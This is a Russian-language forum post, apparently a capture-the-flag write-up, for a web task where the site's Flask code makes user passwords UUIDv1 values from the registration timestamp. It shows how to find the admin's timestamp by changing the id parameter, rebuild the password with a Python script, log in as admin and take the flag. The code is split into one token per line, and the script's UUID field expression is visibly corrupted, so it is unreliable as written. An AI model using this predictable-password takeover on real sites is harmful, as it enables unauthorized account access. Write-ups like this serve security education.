Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».
https://forum.antichat.xyz/attachmen...6220921438.png
Основная цель - это сайт с формой регистрации и авторизации:
https://forum.antichat.xyz/attachmen...6217962655.png
К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:
Python:
Код:
@app.route
(
'/register'
,
methods
=
[
'GET'
,
'POST'
]
)
def
register
(
)
:
if
request
.
method
==
'POST'
:
username
=
request
.
form
[
'username'
]
secret_word
=
request
.
form
[
'secret_word'
]
if
User
.
query
.
filter_by
(
username
=
username
)
.
first
(
)
:
return
"Такой пользователь уже существует!"
exact_time
=
datetime
.
utcnow
(
)
timestamp
=
exact_time
.
strftime
(
"%Y-%m-%d %H:%M:%S.%f"
)
password
=
generate_uuid
(
timestamp
)
user
=
User
(
username
=
username
,
password
=
password
,
created_at
=
exact_time
,
secret_word
=
secret_word
)
db
.
session
.
add
(
user
)
db
.
session
.
commit
(
)
return
render_template
(
'register_success.html'
,
username
=
username
,
password
=
password
)
return
render_template
(
'register.html'
)
Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :
https://forum.antichat.xyz/attachmen...6218912065.png
Далее, имея метку, мы можем преобразовать ее в UUID :
Python:
Код:
from
datetime
import
datetime
import
uuid
def
generate_uuid
(
timestamp_str
)
:
try
:
timestamp
=
datetime
.
strptime
(
timestamp_str
,
"%Y-%m-%d %H:%M:%S.%f"
)
uuid_epoch
=
datetime
(
1582
,
10
,
15
)
intervals
=
int
(
(
timestamp
-
uuid_epoch
)
.
total_seconds
(
)
*
1e7
)
clock_seq
=
0x89ca
node
=
0x000c297433a0
uuid1
=
uuid
.
UUID
(
fields
=
(
intervals
&
0xFFFFFFFF
,
(
intervals
>>
32
)
&
0xFFFF
,
(
(
intervals
>>
48
)
&
0x0FFF
)
|
(
1
>
8
,
clock_seq
&
0xFF
,
node
)
)
return
str
(
uuid1
)
except
ValueError
as
e
:
print
(
f"Ошибка:{e}"
)
return
"Ошибка: время (timestamp)."
timestamp_str
=
"2025-01-22 00:42:26.053996"
generated_uuid
=
generate_uuid
(
timestamp_str
)
print
(
"Generated UUID:"
,
generated_uuid
)
На выходе мы получаем готовый пароль:
https://forum.antichat.xyz/attachmen...6219867344.png
Авторизуемся под админом и забираем флаг:
https://forum.antichat.xyz/attachmen...6219728531.png
Задача оказалась довольно простой, всем спасибо за внимание.
|